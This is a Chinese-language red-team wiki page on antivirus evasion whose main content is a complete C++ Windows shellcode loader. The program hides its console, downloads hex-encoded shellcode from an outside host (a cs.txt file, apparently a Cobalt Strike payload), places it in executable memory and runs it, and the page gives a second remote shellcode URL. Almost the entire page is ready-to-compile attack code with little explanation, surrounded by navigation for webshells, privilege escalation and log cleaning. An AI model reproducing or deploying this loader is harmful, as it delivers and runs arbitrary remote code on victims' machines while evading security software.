Black Front Security Team
  • 渗透测试文库
  • 前期交互阶段
    • 安全思维导图
      • 安全思维导图
        • 红队 [ 蓝军 ] 完整战术 生命周期
        • 工作组 渗透入门 [ 内网搜集实战 ]
        • 常规域渗透入门 实战细则 [ 单域 ]
        • 内网通道构建入门 实战
        • 系统提权入门 实战
        • 内网横向渗透入门 实战
        • 单机持久化控制入门 实战
        • 内网入口搜集 实战
      • 渗透思维导图
        • 信息收集思维导图
        • 文件上传绕过思维导图
    • C2前期准备
      • C2汇总
        • C2内网穿透策略
        • 红队之外网定向打点
      • 钓鱼平台搭建及应用
        • 搭建属于自己的个人邮件服务器 --EwoMai
      • XSS平台
      • 社工方案
    • 武器库
      • 漏扫爬虫
      • 漏扫选择
    • 渗透备忘录
  • 情报收集阶段
    • 基础信息收集
    • OSINT Web信息收集
    • OSINT情报框架
    • Nmap效率最大化
    • 在线信息收集汇总
  • 威胁建模阶段
    • ATT&CK威胁建模
  • 漏洞分析阶段
    • APP分析
      • Android&&IOS APP渗透测试方法checklist
      • Android APP渗透测试方法大全
    • CMS POC
      • 0-SEC---除要查询最好别打开
    • 代码审计
      • WEB安全拓展
      • PHP代码审计笔记
      • JAVA代码审计笔记
    • 加密解密
    • Scan Script
      • awvs_script_decode
  • 漏洞攻击阶段
    • Web安全
      • Web安全
      • 未授权访问汇总
    • Bypass Waf&&Webshell免杀
      • Bypass Waf
      • PHPWebshell免杀
      • JSPWebshell免杀
      • ASPWebshell免杀
    • Fuzzing-Dicts
    • Webshell
      • 一句话&&小马
      • 大马
  • 后渗透攻击阶段
    • AV探测
    • 免杀
      • PowerShell混淆
      • Shellcode混淆
      • 免杀技巧
      • 免杀综合
    • 权限提升
      • 提权辅助
      • Bypass AV
      • Linux提权
      • Windows提权
      • 第三方提权
    • 单域信息收集
      • 密码抓取
    • C2上线&&反弹Shell
      • C2上线姿势合集
      • 反弹shell的总结
    • 持久化控制
      • DLL Proxying for Persistence
    • 工具篇
      • 代理工具
      • 国内
      • 国外
        • Cobalt Strike
        • dnscat2
        • Merlin
        • Metasploit
        • ngrok内网穿透
        • Nishang
        • p0wnedShell
        • PoshC2
        • PowerShell Empire
        • Pupy Shell
  • 报告阶段
    • 日志清理
    • 报告模板
  • 关于我们
  • 友情链接
由 GitBook 提供支持
在本页

这有帮助吗?

  1. 后渗透攻击阶段
  2. 免杀

免杀技巧

远程加载shellcode

#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h> 
#include <stdlib.h>
#include <string.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
void main()
{
    //最小化
    HWND my_consle = GetForegroundWindow();
    ShowWindow(my_consle, SW_MINIMIZE);

    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    HINTERNET  hSession = NULL,
               hConnect = NULL,
               hRequest = NULL;
    BOOL  bResults = FALSE;
    hSession=WinHttpOpen(L"User Agent",WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,WINHTTP_NO_PROXY_NAME,WINHTTP_NO_PROXY_BYPASS,0);
    if(hSession)
    {
        hConnect=WinHttpConnect(hSession,L"www.hacker.wang",INTERNET_DEFAULT_HTTP_PORT,0);
    }
    if(hConnect)
    {
        hRequest=WinHttpOpenRequest(hConnect, L"GET",L"/vc/cs.txt",L"HTTP/1.1", WINHTTP_NO_REFERER,WINHTTP_DEFAULT_ACCEPT_TYPES,0);
    }
    if(hRequest)
    {
        bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );
    }
    if(bResults)
    {
        bResults=WinHttpReceiveResponse(hRequest,NULL);
    }
    if(bResults)
    {
        do
        {
            // Check for available data.
             dwSize = 0;
             if (!WinHttpQueryDataAvailable( hRequest, &dwSize))
             {
                 printf( "Error %u in WinHttpQueryDataAvailable.\n",GetLastError());
                 break;
             }
             if (!dwSize)
                 break;
              pszOutBuffer = new char[dwSize+1];
              if (!pszOutBuffer)
              {
                   printf("Out of memory\n");
                break;
              }
               ZeroMemory(pszOutBuffer, dwSize+1);
               if (!WinHttpReadData( hRequest, (LPVOID)pszOutBuffer,  dwSize, &dwDownloaded))
               {
                     printf( "Error %u in WinHttpReadData.\n", GetLastError());
               }
               else
               {
                   printf("%s", pszOutBuffer);
               }
                //编写shellcode 开始
                const char* ShellCode = pszOutBuffer;
                int shellcode_length = strlen(ShellCode);

                unsigned char* value = (unsigned char*)calloc(shellcode_length/2,sizeof(unsigned char));
                for (size_t count=0;count < shellcode_length /2;count++)
                {
                    sscanf(ShellCode,"%2hhx",&value[count]);
                    ShellCode += 2;
                }
                
                void *exec = VirtualAlloc(0,shellcode_length/2,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
                memcpy(exec,value,shellcode_length/2);

                printf("%s", exec);
                ((void(*)())exec)();

               // 编写shellcode 结束


               delete [] pszOutBuffer;
               if (!dwDownloaded)
                   break;
        } while (dwSize > 0);
    }
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);
    system("pause");
}

远程 shellcode 文件https://www.iredteam.cn/1.txt

上一页Shellcode混淆下一页免杀综合

最后更新于4年前

这有帮助吗?